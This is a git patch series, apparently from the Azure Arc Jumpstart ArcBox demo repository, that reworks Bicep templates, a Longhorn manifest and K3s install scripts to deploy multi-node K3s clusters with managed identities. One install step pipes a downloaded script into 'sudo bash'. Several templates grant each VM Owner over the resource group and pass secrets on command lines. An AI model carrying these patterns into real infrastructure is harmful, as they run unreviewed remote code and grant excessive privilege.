fieldPath: spec.serviceAccountName + - name: CSI_ATTACHER_IMAGE + value: "longhornio/csi-attacher:v4.4.2" + - name: CSI_PROVISIONER_IMAGE + value: "longhornio/csi-provisioner:v3.6.2" + - name: CSI_NODE_DRIVER_REGISTRAR_IMAGE + value: "longhornio/csi-node-driver-registrar:v2.9.2" + - name: CSI_RESIZER_IMAGE + value: "longhornio/csi-resizer:v1.9.2" + - name: CSI_SNAPSHOTTER_IMAGE + value: "longhornio/csi-snapshotter:v6.3.2" + - name: CSI_LIVENESS_PROBE_IMAGE + value: "longhornio/livenessprobe:v2.11.0" + priorityClassName: "longhorn-critical" + serviceAccountName: longhorn-service-account + securityContext: + runAsUser: 0 +--- +# Source: longhorn/templates/deployment-ui.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-ui + namespace: longhorn-system +spec: + replicas: 2 + selector: + matchLabels: + app: longhorn-ui + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + spec: + serviceAccountName: longhorn-ui-service-account + affinity: + podAntiAffinity: + preferredDuringSchedulingIgnoredDuringExecution: + - weight: 1 + podAffinityTerm: + labelSelector: + matchExpressions: + - key: app + operator: In + values: + - longhorn-ui + topologyKey: kubernetes.io/hostname + containers: + - name: longhorn-ui + image: longhornio/longhorn-ui:v1.6.0 + imagePullPolicy: IfNotPresent + volumeMounts: + - name : nginx-cache + mountPath: /var/cache/nginx/ + - name : nginx-config + mountPath: /var/config/nginx/ + - name: var-run + mountPath: /var/run/ + ports: + - containerPort: 8000 + name: http + env: + - name: LONGHORN_MANAGER_IP + value: "http://longhorn-backend:9500" + - name: LONGHORN_UI_PORT + value: "8000" + volumes: + - emptyDir: {} + name: nginx-cache + - emptyDir: {} + name: nginx-config + - emptyDir: {} + name: var-run + priorityClassName: "longhorn-critical" +--- +# Source: longhorn/templates/validate-psp-install.yaml +# \ No newline at end of file diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 51a643c2ca..c199296e18 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -2,7 +2,7 @@ param vmName string = 'ArcBox-Client' @description('The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster') -param capiArcDataClusterName string = 'ArcBox-CAPI-Data' +param k3sArcDataClusterName string = 'ArcBox-K3s-Data' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' @@ -102,6 +102,9 @@ param aksdrArcClusterName string = 'ArcBox-AKS-DR-Data' @description('Domain name for the jumpstart environment') param addsDomainName string = 'jumpstart.local' +@description('The custom location RPO ID') +param customLocationRPOID string + var bastionName = 'ArcBox-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -206,7 +209,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID}' } } } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep index dc0cf1ad5c..ba5e3b8f0b 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep @@ -50,7 +50,7 @@ param enableRBAC bool = true param osType string = 'Linux' @description('The version of Kubernetes') -param kubernetesVersion string = '1.26.6' +param kubernetesVersion string = '1.27.9' var serviceCidr_primary = '10.20.64.0/19' var dnsServiceIP_primary = '10.20.64.10' diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 342a423213..d1cc5183e6 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -49,35 +49,66 @@ param templateBaseUrl string @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false -var publicIpAddressName = '${vmName}-PIP' -var networkInterfaceName = '${vmName}-NIC' -var osDiskType = 'Premium_LRS' -var PublicIPNoBastion = { - id: publicIpAddress.id -} +@description('Storage account container name for artifacts') +param storageContainerName string +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string -resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { - name: networkInterfaceName - location: azureLocation - properties: { - ipConfigurations: [ - { - name: 'ipconfig1' - properties: { - subnet: { - id: subnetId - } - privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : null - } - } - ] - } -} +@description('The number of IP addresses to create') +param numberOfIPAddresses int = 7 -resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ - name: publicIpAddressName +var publicIpAddressName = '${vmName}-PIP' +var networkInterfaceName = '${vmName}-NIC' +var osDiskType = 'Premium_LRS' +// var PublicIPNoBastion = { +// id: publicIpAddress.id +// } +var k3sControlPlane = 'true' // deploy single-node k3s control plane +var diskSize = (flavor == 'DataOps') ? 512 : 64 + + +// resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { +// name: networkInterfaceName +// location: azureLocation +// properties: { +// ipConfigurations: [ +// { +// name: 'ipconfig1' +// properties: { +// subnet: { +// id: subnetId +// } +// privateIPAllocationMethod: 'Dynamic' +// publicIPAddress: deployBastion== false ? PublicIPNoBastion : null +// } +// } +// ] +// } +// } + +// resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ +// name: publicIpAddressName +// location: azureLocation +// properties: { +// publicIPAllocationMethod: 'Static' +// publicIPAddressVersion: 'IPv4' +// idleTimeoutInMinutes: 4 +// } +// sku: { +// name: 'Basic' +// } +// } + +// Create multiple public IP addresses if deployBastion is false +resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { + name: '${publicIpAddressName}${i}' location: azureLocation properties: { publicIPAllocationMethod: 'Static' @@ -87,6 +118,27 @@ resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(d sku: { name: 'Basic' } +}] + +// Create multiple NIC IP configurations and assign the public IP to the IP configuration if deployBastion is false +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [for i in range(1, numberOfIPAddresses): { + name: 'ipconfig${i}' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + publicIPAddress: { + id: publicIpAddresses[i-1].id + } + primary: i == 1 ? true : false + } + }] + } } resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { @@ -105,6 +157,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { managedDisk: { storageAccountType: osDiskType } + diskSizeGB: diskSize } imageReference: { publisher: 'canonical' @@ -149,7 +202,7 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${deployBastion}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep new file mode 100644 index 0000000000..7b93acdea6 --- /dev/null +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -0,0 +1,150 @@ +@description('The name of you Virtual Machine') +param vmName string = 'ArcBox-K3s-Node' + +@description('Username for the Virtual Machine') +param adminUsername string = 'arcdemo' + +@description('SSH Key for the Virtual Machine. SSH key is recommended over password') +@secure() +param sshRSAPublicKey string + +@description('The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version') +@allowed([ + '22_04-lts-gen2' +]) +param ubuntuOSVersion string = '22_04-lts-gen2' + +@description('Location for all resources.') +param azureLocation string = resourceGroup().location + +@description('Resource Id of the subnet in the virtual network') +param subnetId string + +param resourceTags object = { + Project: 'jumpstart_arcbox' +} + +@description('Azure service principal client id') +param spnClientId string + +@description('Azure service principal client secret') +@secure() +param spnClientSecret string + +@description('Azure AD tenant id for your service principal') +param spnTenantId string + +@description('Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json') +param stagingStorageAccountName string + +@description('Name of the Log Analytics workspace used with cluster extensions') +param logAnalyticsWorkspace string + +@description('The base URL used for accessing artifacts and automation artifacts') +param templateBaseUrl string + +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string + +@description('Storage account container name for artifacts') +param storageContainerName string + +var networkInterfaceName = '${vmName}-NIC' +var osDiskType = 'Premium_LRS' +var vmSize = (flavor == 'DevOps') ? 'Standard_B2ms' : 'Standard_B8ms' +var diskSize = (flavor == 'DataOps') ? 512 : 64 + +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [ + { + name: 'ipconfig1' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + } + } + ] + } +} + +resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { + name: vmName + location: azureLocation + tags: resourceTags + properties: { + hardwareProfile: { + vmSize: vmSize + } + storageProfile: { + osDisk: { + name: '${vmName}-OSDisk' + caching: 'ReadWrite' + createOption: 'FromImage' + managedDisk: { + storageAccountType: osDiskType + } + diskSizeGB: diskSize + } + imageReference: { + publisher: 'canonical' + offer: '0001-com-ubuntu-server-jammy' + sku: ubuntuOSVersion + version: 'latest' + } + } + networkProfile: { + networkInterfaces: [ + { + id: networkInterface.id + } + ] + } + osProfile: { + computerName: vmName + adminUsername: adminUsername + linuxConfiguration: { + disablePasswordAuthentication: true + ssh: { + publicKeys: [ + { + path: '/home/${adminUsername}/.ssh/authorized_keys' + keyData: sshRSAPublicKey + } + ] + } + } + } + } +} + +resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { + parent: vm + name: 'installscript_k3s' + location: azureLocation + properties: { + publisher: 'Microsoft.Azure.Extensions' + type: 'CustomScript' + typeHandlerVersion: '2.1' + autoUpgradeMinorVersion: true + settings: {} + protectedSettings: { + commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' + fileUris: [ + '${templateBaseUrl}artifacts/installK3s.sh' + ] + } + } +} + +output privateIP string = networkInterface.properties.ipConfigurations[0].properties.privateIPAddress diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 5287d63ee8..3efc686c0f 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -40,7 +40,7 @@ param logAnalyticsWorkspaceName string param flavor string = 'Full' @description('Target GitHub account') -param githubAccount string = 'microsoft' +param githubAccount string = 'zaidmohd' @description('Target GitHub branch') param githubBranch string = 'arcbox_3.0' @@ -49,7 +49,7 @@ param githubBranch string = 'arcbox_3.0' param deployBastion bool = false @description('User github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps') -param githubUser string = 'microsoft' +param githubUser string = 'zaidmohd' @description('Active directory domain services domain name') param addsDomainName string = 'jumpstart.local' @@ -60,15 +60,18 @@ param guid string = substring(newGuid(),0,4) @description('Azure location to deploy all resources') param location string = resourceGroup().location -var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' +@description('The custom location RPO ID') +param customLocationRPOID string -var capiArcDataClusterName = 'ArcBox-CAPI-Data-${guid}' -var k3sArcDataClusterName = 'ArcBox-K3s-${guid}' +var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' var aksArcDataClusterName = 'ArcBox-AKS-Data-${guid}' var aksDrArcDataClusterName = 'ArcBox-AKS-DR-Data-${guid}' +var k3sArcDataClusterName = 'ArcBox-DataSvc-K3s-${guid}' +var k3sArcClusterName = 'ArcBox-K3s-${guid}' +var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster -module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { - name: 'ubuntuCAPIDeployment' +module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -80,16 +83,35 @@ module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location + vmName : k3sArcDataClusterName + storageContainerName: toLower(k3sArcDataClusterName) flavor: flavor - capiArcDataClusterName : capiArcDataClusterName + } +} + +module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'Full' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcNodesDeployment-${i}' + params: { + sshRSAPublicKey: sshRSAPublicKey + spnClientId: spnClientId + spnClientSecret: spnClientSecret + spnTenantId: spnTenantId + stagingStorageAccountName: stagingStorageAccountDeployment.outputs.storageAccountName + logAnalyticsWorkspace: logAnalyticsWorkspaceName + templateBaseUrl: templateBaseUrl + subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId + azureLocation: location + flavor: flavor + vmName : '${k3sArcDataClusterName}-Node-0${i}' + storageContainerName: toLower(k3sArcDataClusterName) } dependsOn: [ - updateVNetDNSServers + ubuntuRancherK3sDataSvcDeployment ] -} +}] -module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { - name: 'ubuntuRancherDeployment' +module ubuntuRancherK3sDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { + name: 'ubuntuRancherK3sDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -101,7 +123,9 @@ module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location - vmName : k3sArcDataClusterName + vmName : k3sArcClusterName + storageContainerName: toLower(k3sArcClusterName) + flavor: flavor } } @@ -122,13 +146,14 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { deployBastion: deployBastion githubUser: githubUser location: location - k3sArcClusterName : k3sArcDataClusterName - capiArcDataClusterName : capiArcDataClusterName + k3sArcDataClusterName : k3sArcDataClusterName + k3sArcClusterName : k3sArcClusterName aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon rdpPort: rdpPort addsDomainName: addsDomainName + customLocationRPOID: customLocationRPOID } dependsOn: [ updateVNetDNSServers From 25238a37a0bfb14122f638591d6e641360d5cdd5 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 29 May 2024 14:59:55 -0400 Subject: [PATCH 122/506] fix az login --- azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 406795706e..402eaace64 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -37,7 +37,7 @@ $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" # Required for CLI commands Write-Header "Az CLI Login" -az login --identity --tenant $spnTenantId +az login --identity az account set -s $env:subscriptionId # Downloading ArcBox-DataSvc-K3s Kubernetes cluster kubeconfig file From bd721bf82ec0e2253a856a185cacf2a07ed2e438 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 29 May 2024 22:35:39 +0200 Subject: [PATCH 123/506] Updated storage account for VHD files Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index bb8f3e812e..c6abecdca4 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -13,7 +13,7 @@ $azureLocation = $env:azureLocation $resourceGroup = $env:resourceGroup # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox/*" +$vhdSourceFolder = "https://jumpstartprodsg.blob.core.windows.net/arcbox/*" # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" From 4f0538379e6b342d384eb6e8a58b1cfa272f2818 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 29 May 2024 21:46:43 -0400 Subject: [PATCH 124/506] update to managed identity --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- azure_jumpstart_arcbox/artifacts/installK3s.sh | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ba98390998..7084717a84 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -31,7 +31,7 @@ Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscrip # Required for CLI commands Write-Header "Az CLI Login" -az login --identity --tenant $spnTenantId +az login --identity az account set -s $env:subscriptionId # Retrieve Azure Key Vault secrets and store as runtime environment variables diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 04df2fa835..a1eb599b00 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -56,7 +56,8 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash echo "" echo "Log in to Azure" echo "" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +# sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +sudo -u $adminUsername az login --identity sudo -u $adminUsername az account set --subscription $subscriptionId az -v From 1334251d44a1ac02dd74b4d94ca608c2349d9d4a Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 30 May 2024 14:37:59 -0400 Subject: [PATCH 125/506] enable system assigned identity --- .../bicep/kubernetes/ubuntuRancher.bicep | 13 +++++++++++++ .../bicep/kubernetes/ubuntuRancherNodes.bicep | 13 ++++++++++++- 2 files changed, 25 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index d1cc5183e6..1ad353169b 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -145,6 +145,9 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -209,3 +212,13 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 } } } + +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep index 7b93acdea6..f76002a3a1 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -82,6 +82,9 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -147,4 +150,12 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 } } -output privateIP string = networkInterface.properties.ipConfigurations[0].properties.privateIPAddress +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} From e67a6362fe57f823b0c51e3c37a4779214faf563 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Thu, 30 May 2024 16:40:28 -0400 Subject: [PATCH 126/506] remove debugging --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index a1eb599b00..71f520aaf0 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -140,7 +140,7 @@ if [[ "$k3sControlPlane" == "true" ]]; then echo "" resourceGroup=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) workspaceResourceId=$(sudo -u $adminUsername az resource show --resource-group $resourceGroup --name $logAnalyticsWorkspace --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) - sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' --debug + sudo -u $adminUsername az connectedk8s connect --name $vmName --resource-group $resourceGroup --location $location --tags 'Project=jumpstart_arcbox' # Enabling Container Insights and Microsoft Defender for Containers cluster extensions echo "" From af8d36b85a901e3afc3d1c73f57a3211802491c4 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 4 Jun 2024 21:47:41 -0400 Subject: [PATCH 127/506] comment resource provider, this will be part of pre-req --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 71f520aaf0..c41d24fd68 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -123,15 +123,15 @@ if [[ "$k3sControlPlane" == "true" ]]; then sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $localPath sudo -u $adminUsername az storage azcopy blob upload --container $storageContainerName --account-name $stagingStorageAccountName --account-key $storageAccountKey --source $k3sClusterNodeConfig - # Registering Azure resource providers - echo "" - echo "Registering Azure resource providers" - echo "" - sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait - sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait + # # Registering Azure resource providers + # echo "" + # echo "Registering Azure resource providers" + # echo "" + # sudo -u $adminUsername az provider register --namespace 'Microsoft.Kubernetes' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.KubernetesConfiguration' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.PolicyInsights' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.ExtendedLocation' --wait + # sudo -u $adminUsername az provider register --namespace 'Microsoft.AzureArcData' --wait # sudo service sshd restart # Onboard the cluster to Azure Arc From d5e59bb726c23340f067ebb4ddaa42cb4184c70a Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Tue, 4 Jun 2024 21:59:50 -0400 Subject: [PATCH 128/506] update ip address --- .../bicep/kubernetes/ubuntuRancher.bicep | 40 +------------------ 1 file changed, 1 insertion(+), 39 deletions(-) diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 1ad353169b..9eef2d56ff 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -61,50 +61,12 @@ param storageContainerName string ]) param flavor string -@description('The number of IP addresses to create') -param numberOfIPAddresses int = 7 - var publicIpAddressName = '${vmName}-PIP' var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' -// var PublicIPNoBastion = { -// id: 